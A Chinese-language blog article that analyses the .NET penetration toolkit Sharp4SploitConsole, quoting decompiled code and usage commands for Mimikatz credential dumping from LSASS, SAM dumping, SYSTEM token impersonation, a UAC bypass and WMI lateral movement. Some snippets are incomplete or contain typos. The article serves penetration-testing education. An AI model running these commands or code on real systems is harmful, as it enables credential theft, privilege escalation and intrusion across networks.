Windows 内网渗透工具集 — Sharp4SploitConsole

今天我们将介绍一个功能强大的基于 .NET 开发的 Windows 渗透测试工具集 — Sharp4SploitConsole。这个工具集不仅仅是一个简单的工具,它集成了多个模块,涵盖了从令牌操作、主机信息收集,到横向移动等多种渗透测试任务。无论是安全研究人员、渗透测试专家还是系统管理员,Sharp4SploitConsole 都提供了丰富而实用的功能,帮助用户评估和加强系统的安全性。

功能模块

1. 获取系统用户登录凭据

Sharp4SpliotConsole 是一款融合了多种渗透测试工具和技术的.NET工具,其中也包括对内存中的凭证提取功能。比如运行命令:Sharp4SploitConsole.exe logonPasswords,从系统内存中提取敏感的用户登录凭证。具体实现代码如下所示。

public static string LogonPasswords()
{
   return Mimikatz.Command("privilege::debug sekurlsa::logonPasswords");
}

从代码中我们发现有一个自定义的Mimikatz类,猜想底层通过Mimikatz这款工具实现的。并且向Command方法传递 "privilege::debug sekurlsa::logonPasswords",而这个命令对于经常Mimikatz的朋友再熟悉不过,表示启用 SeDebugPrivilege 特权,便于访问和操作系统中的其他进程,然后通过 sekurlsa::logonPasswords指令从 lsass.exe 进程中提取登录凭证,包括明文密码、NTLM 哈希、Kerberos 票据等。
继续跟进Command方法发现Sharp4SpliotConsole在资源里嵌入了一个powerkatz.dll,并且根据不同的操作系统,自动区分引入x32和x64位的dll,由于笔者本地是X64的系统,因此会引入powerkatz_x64.dll文件,核心代码片段如下所示。

bool flag5 = Mimikatz.PEBytes64 == null && !Mimikatz.MappedMimikatz;
Mimikatz.PEBytes64 = Utilities.GetEmbeddedResourceBytes("powerkatz_x64.dll");
Mimikatz.MimikatzPE = Overload.OverloadModule(Mimikatz.PEBytes64, false, null);
Mimikatz.MappedMimikatz = true;

工具使用 Utilities.GetEmbeddedResourceBytes方法从嵌入资源中获取 powerkatz_x64.dll 字节数组,并通过 Overload.OverloadModule 将其加载到内存中。接着,通过 Generic.CallMappedDLLModuleExport 调用加载的 DLL 模块中的导出函数 powershell_reflective_mimikatz,并传递 Mimikatz 命令 privilege::debug sekurlsa::logonPasswords。
这里说白了通过使用 Reflective DLL Injection 技术规避安全检测,以更加隐蔽的方式调用 Mimikatz 命令,具体代码如下所示

object[] parameters = new object[]{Command};
output = (string)Generic.CallMappedDLLModuleExport(Mimikatz.MimikatzPE.PEINFO, Mimikatz.MimikatzPE.ModuleBase, "powershell_reflective_mimikatz", typeof(Mimikatz.MimikatzType), parameters, true);

多提一嘴Reflective DLL Injection技术,特点用于将 DLL 注入到系统的目标进程中,而不依赖于传统的注入技术(如通过 CreateRemoteThread 等函数)。这种方法允许 DLL 在被注入的进程中自我加载,因此有助于绕过防御性安全工具的检测和拦截。如此一来Sharp4SpliotConsole便可以通过反射注入的技术将 Mimikatz 动态库版本的文件 powerkatz_x64.dll加载入内存,实现提取系统用户登录的凭据。

2.转储系统SAM数据库

Sharp4SpliotConsole 支持从Windows系统的 SAM 数据库中获取敏感数据,SAM 位于 C:\Windows\System32\config,通常伴随着操作系统启动使用,因此用户无法直接访问。但该文件可以通过与 LSASS(本地安全授权子系统服务)进程交互,因此很多工具通过dump提取LSASS.exe进程中保存的数据。具体命令: Sharp4SploitConsole.exe SamDump,注意需要以管理员权限运行。实现代码如下所示

public static string SamDump()
{
    return Mimikatz.Command("token::elevate lsadump::sam");
}

同样也是调用 Mimikatz 执行以下命令:token::elevate lsadump::sam 实现提取 SAM 数据的。该命令由两个部分组成:token::elevate 和 lsadump::sam 。
其中 token::elevate 命令通过模仿系统进程的令牌来提升当前进程的权限,简单的说就是特权提升。我们知道Windows 使用令牌(Token)来管理每个进程和线程的安全上下文,使用该命令后会查找并获取一个具有高权限的令牌,通常是 SYSTEM 权限。一旦成功获得高权限令牌,就会将当前进程的令牌替换为高权限令牌,从而提升当前进程的权限。
lsadump::sam 命令转储 SAM 数据库,此命令用于从本地安全账户管理器(SAM)数据库中提取用户账户信息和哈希值。

3.模拟令牌提升权限

Sharp4SpliotConsole 通过运行命令:Sharp4SploitConsole.exe GetSystem 实现用户权限提升,具体我们来看 GetSystem 命令的代码实现,如下所示

public bool GetSystem()
{
    SecurityIdentifier securityIdentifier = new SecurityIdentifier(WellKnownSidType.LocalSystemSid, null);
    NTAccount ntaccount = (NTAccount)securityIdentifier.Translate(typeof(NTAccount));
    return this.ImpersonateUser(ntaccount.ToString());
}

代码中通过 WellKnownSidType.LocalSystemSid 获取 LocalSystem 的安全标识符(SID)。接着通过securityIdentifier.Translate将 SID 转换为 NT 账户名。调用 自定义的ImpersonateUser 方法,尝试模拟该NT账户。接着跟进自定义的ImpersonateUser代码,具体如下所示。

public bool ImpersonateUser(string Username)
{
    List<Tokens.UserProcessToken> userProcessTokensForUser = this.GetUserProcessTokensForUser(Username, false);
    foreach (Tokens.UserProcessToken userProcessToken in userProcessTokensForUser)
    {
        bool flag = this.ImpersonateProcess((uint)userProcessToken.Process.Id);
        if (flag)
        {
            return true;
        }
    }
    return false;
}

ImpersonateUser 方法中通过GetUserProcessTokensForUser获取指定用户名的进程令牌列表,这样便于后续选定一个进程实施令牌模拟,跟进 GetUserProcessTokensForUser 方法,具体实现如下所示。

private List<Tokens.UserProcessToken> GetUserProcessTokensForUser(string Username, bool Elevated = false)
{
    return (from UP in this.GetUserProcessTokens(Elevated)
    where UP.Username.ToLower() == Username.ToLower()
    select UP).ToList<Tokens.UserProcessToken>();
}

代码中通过where UP.Username.ToLower() == Username.ToLower()这句将传递匹配的用户名进程令牌筛选出来。接着调用 GetUserProcessTokens 方法通过获取所有运行的进程,并尝试为每个进程创建 UserProcessToken 对象。如果创建成功,则将其添加到列表中,供后续备用。接着内部调用ImpersonateProcess方法对列表返回的可用进程尝试模拟令牌,一旦成功则返回 true。核心代码片段如下所示。

public bool ImpersonateProcess(uint ProcessID)
{
            IntPtr tokenForProcess = this.GetTokenForProcess(ProcessID);
            bool flag = tokenForProcess == IntPtr.Zero;
            bool result;
            SharpSploit.Execution.Win32.WinBase._SECURITY_ATTRIBUTES security_ATTRIBUTES = default(SharpSploit.Execution.Win32.WinBase._SECURITY_ATTRIBUTES);
                IntPtr intPtr;
                bool flag2 = !SharpSploit.Execution.PlatformInvoke.Win32.Advapi32.DuplicateTokenEx(tokenForProcess, 33554432U, ref security_ATTRIBUTES, SharpSploit.Execution.Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, SharpSploit.Execution.Win32.WinNT.TOKEN_TYPE.TokenImpersonation, out intPtr);
            return result;
}

指定一个进程ProcessID,通过GetTokenForProcess方法获取该进程的令牌,然后通过API函数DuplicateTokenEx复制令牌,将成功复制的令牌添加到 OpenHandles 列表,并调用 ImpersonateLoggedOnUser 模拟进程的令牌,成功后提升当前进程的权限。

4.绕过UAC执行命令

UAC是Windows操作系统的一种安全特性,为了防止未经授权的程序以管理员权限运行,从而减少恶意软件和攻击的影响。绕过UAC意味着在Windows系统中以管理员或者系统服务的权限执行命令或程序,而不需要用户在操作系统中手动提供管理员凭据。在Sharp4SploitConsole.exe中可以使用 Sharp4SploitConsole.exe BypassUAC cmd.exe ipconfig C:\Windows\System32\ 命令绕过UAC。原理上是调用了自定义的BypassUAC方法,签名如下所示。

public bool BypassUAC(string Binary = "cmd.exe", string Arguments = "", string Path = "C:\\WINDOWS\\System32\\", int ProcessId = 0)

原理上首先使用 OpenProcess 函数获取指定进程的句柄。通过请求 PROCESS_QUERY_LIMITED_INFORMATION 权限,获取查询进程信息所需的权限。

IntPtr intPtr = SharpSploit.Execution.PlatformInvoke.Win32.Kernel32.OpenProcess(SharpSploit.Execution.Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_LIMITED_INFORMATION, false, (uint)process.Id);
bool flag = intPtr == IntPtr.Zero;

接着,使用调用Windows API函数OpenProcessToken打开进程令牌。

bool flag2 = !SharpSploit.Execution.PlatformInvoke.Win32.Kernel32.OpenProcessToken(intPtr, 33554432U, out zero);

复制进程令牌,并设置为主令牌,提升当前进程的权限,核心代码片段如下所示。

SharpSploit.Execution.Win32.WinBase._SECURITY_ATTRIBUTES security_ATTRIBUTES = default(SharpSploit.Execution.Win32.WinBase._SECURITY_ATTRIBUTES);
IntPtr zero2 = IntPtr.Zero;
bool flag3 = !SharpSploit.Execution.PlatformInvoke.Win32.Advapi32.DuplicateTokenEx(zero, 983551U, ref security_ATTRIBUTES, SharpSploit.Execution.Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, SharpSploit.Execution.Win32.WinNT.TOKEN_TYPE.TokenPrimary, out zero2);

然后创建一个表示 SYSTEM 用户的 SID。通过 AllocateAndInitializeSid 函数,初始化一个表示 SECURITY_NT_AUTHORITY 和 SECURITY_LOCAL_SYSTEM_RID 的 SID。

SharpSploit.Execution.Win32.WinNT._SID_IDENTIFIER_AUTHORITY sid_IDENTIFIER_AUTHORITY = default(SharpSploit.Execution.Win32.WinNT._SID_IDENTIFIER_AUTHORITY);
sid_IDENTIFIER_AUTHORITY.Value = new byte[]
{
    0,
    0,
    0,
    0,
    0,
    16
};
byte nSubAuthorityCount = 1;
IntPtr sid = 0;
bool flag4 = !SharpSploit.Execution.PlatformInvoke.Win32.Advapi32.AllocateAndInitializeSid(ref sid_IDENTIFIER_AUTHORITY, nSubAuthorityCount, 8192, 0, 0, 0, 0, 0, 0, 0, out sid);

要确保目标进程拥有SYSTEM权限,因此需要设置令牌的强制完整性,也就是Mandatory Integrity Level,简称 MIL。实现代码如下所示。
SharpSploit.Execution.Win32.WinNT._SID_AND_ATTRIBUTES label = default(SharpSploit.Execution.Win32.WinNT._SID_AND_ATTRIBUTES);

SharpSploit.Execution.Win32.WinNT._SID_AND_ATTRIBUTES label = default(SharpSploit.Execution.Win32.WinNT._SID_AND_ATTRIBUTES);
label.Sid = sid;
label.Attributes = 32U;
harpSploit.Execution.Win32.WinNT._TOKEN_MANDATORY_LABEL token_MANDATORY_LABEL = new SharpSploit.Execution.Win32.WinNT._TOKEN_MANDATORY_LABEL
{
    Label = label
};
int tokenInformationLength = Marshal.SizeOf(token_MANDATORY_LABEL);
bool flag5 = SharpSploit.Execution.PlatformInvoke.Native.NtSetInformationToken(zero2, 25, ref token_MANDATORY_LABEL, tokenInformationLength) != 0;

其中创建 SharpSploit.Execution.Win32.WinNT._TOKEN_MANDATORY_LABEL 结构,并将其 Label 属性设置为刚刚初始化的 label。这是设置令牌的强制完整性级别的关键部分。这里的label包含了label.Sid 被设置为之前创建的 SYSTEM 用户的 SID。最后调用NtSetInformationToken 函数将强制完整性级别信息设置到令牌中。
最后代码调用CreateProcessWithLogonW 函数,使用指定的用户凭据权限创建一个新进程。具体代码如下。

bool flag9 = !SharpSploit.Execution.PlatformInvoke.Win32.Advapi32.CreateProcessWithLogonW(
    Environment.UserName, 
    Environment.UserDomainName, 
    "password", 
    2, 
    Path + Binary, 
    Path + Binary + " " + Arguments, 
    67108864, 
    IntPtr.Zero, 
    Path, 
    ref startupinfo, 
    out process_INFORMATION
);

BypassUAC 方法通过获取并使用 SYSTEM 级别权限的进程模拟令牌,成功绕过 UAC 机制,启动一个新进程。

5.获取本地用户组和成员

Sharp4SploitConsole中的NetLocalGroupMembers 模块,能够替代windows系统中的net.exe,收集目标系统的本地组成员信息。比如使用以下命令获取本地计算机上 "Users" 组的成员信息,可以运行如下命令:Sharp4SploitConsole.exe NetLocalGroupMembers 127.0.0.1 Users .\Administrator,列出了Users组当前的所有成员,如图所示

我们从原理上进行分析,主要分为两个部分:处理命令行输入的 netLocalGroupMembers 函数和实际获取本地组成员信息的 GetNetLocalGroupMembers 函数。我们重点来关注GetNetLocalGroupMembers ,外部传入GroupName变量的值,表示指定的系统用户组,如 Users 组,代码如下所示。

int num4 = SharpSploit.Execution.PlatformInvoke.Win32.Netapi32.NetLocalGroupGetMembers(text, GroupName, level, out zero, -1, out num, out num2, ref num3);
long num5 = zero.ToInt64();
bool flag = num4 == 0 && num5 > 0L;

这里调用 Windows API 函数 NetLocalGroupGetMembers 获取指定组的成员信息。将每个成员信息转换为 LOCALGROUP_MEMBERS_INFO_2 结构。LOCALGROUP_MEMBERS_INFO_2 是一个定义在 SharpSploit 库中的结构体,表示描述了一个本地组成员的信息,定义的结构体如下所示。

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct LOCALGROUP_MEMBERS_INFO_2
{
                // Token: 0x04000579 RID: 1401
                public IntPtr lgrmi2_sid;

                // Token: 0x0400057A RID: 1402
                public int lgrmi2_sidusage;

                // Token: 0x0400057B RID: 1403
                [MarshalAs(UnmanagedType.LPWStr)]
                public string lgrmi2_domainandname;
}

这样便从 LOCALGROUP_MEMBERS_INFO_2 结构体中提取成员信息,如 SID、域和用户名等,并从返回的成员信息中读取并转换SID。这里调用了 ConvertSidToStringSid 将 SID 转换为字符串形式,具体代码如下所示。

IntPtr ptr = new IntPtr(num5);
SharpSploit.Execution.Win32.Netapi32.LOCALGROUP_MEMBERS_INFO_2 localgroup_MEMBERS_INFO_ = (SharpSploit.Execution.Win32.Netapi32.LOCALGROUP_MEMBERS_INFO_2)Marshal.PtrToStructure(ptr, typeof(SharpSploit.Execution.Win32.Netapi32.LOCALGROUP_MEMBERS_INFO_2));
num5 = ptr.ToInt64();
num5 += (long)num6;
IntPtr intPtr;
bool flag2 = SharpSploit.Execution.PlatformInvoke.Win32.Advapi32.ConvertSidToStringSid(localgroup_MEMBERS_INFO_.lgrmi2_sid, out intPtr);

6.通过WMI横向移动

Sharp4SploitConsole同样支持通过Windows管理工具(WMI)执行远程命令,WMI(Windows Management Instrumentation)是微软提供的一种管理技术,允许管理人员通过脚本或应用程序在本地或远程系统上管理和监控Windows操作系统及其组件,因此也是Windows内网横向移动的主流方法。以下命令用于在远程计算机(IP地址为192.168.101.14)上以管理员身份运行calc.exe计算器程序:Sharp4SpliotConsole WMI 192.168.101.14 Administrator 123456 calc.exe
我们从原理上对其进行分析,在.NET中 ConnectionOptions 用于定义连接到远程计算机时所需的身份验证和其他选项。代码片段如下所示。

ConnectionOptions connectionOptions = new ConnectionOptions();
if (Username != null && Username != "" && Password != null)
{
    connectionOptions.Username = Username;
    connectionOptions.Password = Password;
}

提供的用户名和密码,这些凭据将被设置到ConnectionOptions对象中,以便在连接到远程计算机时使用。接着,创建了一个ManagementScope对象,定义了WMI操作的范围。主要通过WMI命名空间路径指定的。格式如下所示。

\\\\<ComputerName>\\root\\cimv2

然后创建一个ManagementClass对象,用于操作WMI类。通过ManagementClass对象,可以调用该WMI类的方法。例如,Win32_Process类的Create方法用于创建新进程。如果不创建ManagementClass对象,就无法访问这些方法。具体如下代码所示。

ManagementClass managementClass = new ManagementClass(managementScope, new ManagementPath("Win32_Process"), new ObjectGetOptions());
ManagementBaseObject methodParameters = managementClass.GetMethodParameters("Create");
methodParameters["CommandLine"] = Command;
ManagementBaseObject managementBaseObject = managementClass.InvokeMethod("Create", methodParameters, null);

通过调用GetMethodParameters方法,获取Create方法的参数对象。这样,我们可以设置方法所需的参数。并设置Create方法的CommandLine参数,该参数指定要在远程计算机上执行的命令。通过调用InvokeMethod方法,执行系统命令实现在远程计算机上创建新进程。

小结

在本文中,我们深入探讨了 Sharp4SploitConsole 这个基于 .NET 的 Windows 渗透测试工具集。我们详细介绍了其多个模块,包括获取系统用户登录凭据、转储系统SAM数据库、模拟令牌提升权限、绕过UAC执行命令、获取本地用户组和成员,以及通过WMI进行横向移动。每个模块都展示了其强大的功能和实用性,为安全专业人士提供了必要的工具来评估和提升系统的安全性。

0 条评论
某人
表情
可输入 255